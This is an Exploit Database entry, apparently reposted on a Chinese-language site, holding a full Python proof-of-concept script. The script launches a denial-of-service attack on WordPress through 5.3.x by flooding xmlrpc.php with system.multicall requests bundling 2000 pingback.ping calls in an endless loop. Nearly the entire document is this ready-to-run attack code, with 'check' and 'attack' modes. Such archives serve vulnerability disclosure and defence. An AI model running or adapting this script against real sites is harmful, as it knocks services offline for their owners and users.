WordPress Core < 5.3.x - 'xmlrpc.php' Denial of Service

Exploit Database
111 阅读

作者： roddux

日期： 2019-12-17
类别：
- dos
平台：
- php
来源：https://www.exploit-db.com/exploits/47800/

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#!/usr/bin/env python

# WordPress <= 5.3.? Denial-of-Service PoC

# Abusing pingbacks+xmlrpc multicall to exhaust connections

# @roddux 2019 | Arcturus Security | labs.arcturus.net

# TODO:

# - Try and detect a pingback URL on target site

# - Optimise number of entries per request, check class-wp-xmlrpc-server.php

from urllib.parse import urlparse

import sys, uuid, urllib3, requests

urllib3.disable_warnings()

DEBUG = True

def dprint(X):

if DEBUG: print(X)

COUNT=0

def build_entry(pingback,target):

global COUNT

COUNT +=1

entry= "<value><struct><member><name>methodName</name><value>pingback.ping</value></member><member>"

entry += f"<name>params</name><value><array><data><value>{pingback}/{COUNT}</value>"

#entry += f"<name>params</name><value><array><data><value>{pingback}/{uuid.uuid4()}</value>"

entry += f"<value>{target}/?p=1</value></data></array></value></member></struct></value>"

#entry += f"<value>{target}/#e</value></data></array></value></member></struct></value>" # taxes DB more

return entry

def build_request(pingback,target,entries):

prefix = "<methodCall><methodName>system.multicall</methodName><params><param><array>"

suffix = "</array></param></params></methodCall>"

request= prefix

for _ in range(0,entries): request += build_entry(pingback,target)

request += suffix

return request

def usage_die():

print(f"[!] Usage: {sys.argv[0]} <check/attack> <pingback url> <target url>")

exit(1)

def get_args():

if len(sys.argv) != 4: usage_die()

action = sys.argv[1]

pingback = sys.argv[2]

target = sys.argv[3]

if action not in ("check","attack"): usage_die()

for URL in (pingback,target):

res = urlparse(URL)

if not all((res.scheme,res.netloc)): usage_die()

return (action,pingback,target)

def main(action,pingback,target):

print("[>] WordPress <= 5.3.? Denial-of-Service PoC")

print("[>] @roddux 2019 | Arcturus Security | labs.arcturus.net")

# he checc

if action == "check":entries = 2

# he attacc

elif action == "attack": entries = 2000

# but most importantly

print(f"[+] Running in {action} mode")

# he pingbacc

print(f"[+] Got pingback URL \"{pingback}\"")

print(f"[+] Got target URL \"{target}\"")

print(f"[+] Building {entries} pingback calls")

# entries = 1000 # TESTING

xmldata = build_request(pingback,target,entries)

dprint("[+] Request:\n")

dprint(xmldata+"\n")

print(f"[+] Request size: {len(xmldata)} bytes")

if action == "attack":

print("[+] Starting attack loop, CTRL+C to stop...")

rcount = 0

try:

while True:

try:

resp= requests.post(f"{target}/xmlrpc.php", xmldata, verify=False, allow_redirects=False, timeout=.2)

#dprint(resp.content.decode("UTF-8")[0:500]+"\n")

if resp.status_code != 200:

print(f"[!] Received odd status ({resp.status_code}) -- DoS successful?")

except (requests.exceptions.Timeout, requests.exceptions.ConnectionError) as e:

pass

rcount += 1

print(f"\r[+] Requests sent: {rcount}",end="")

except KeyboardInterrupt:

print("\n[>] Attack finished",end="\n\n")

exit(0)

elif action == "check":

print("[+] Sending check request")

try:

resp = requests.post(f"{target}/xmlrpc.php", xmldata, verify=False, allow_redirects=False, timeout=10)

if resp.status_code != 200:

print(f"[!] Received odd status ({resp.status_code}) -- check target url")

print("[+] Request sent")

print("[+] Response headers:\n")

print(resp.headers)

print("[+] Response dump:")

print(resp.content.decode("UTF-8"))

print("[+] Here's the part where you figure out if it's vulnerable, because I CBA to code it")

except (requests.exceptions.Timeout, requests.exceptions.ConnectionError) as e:

print("[!] Connection error")

exit(1)

print("[>] Check finished")

if __name__ == "__main__":

main(*get_args())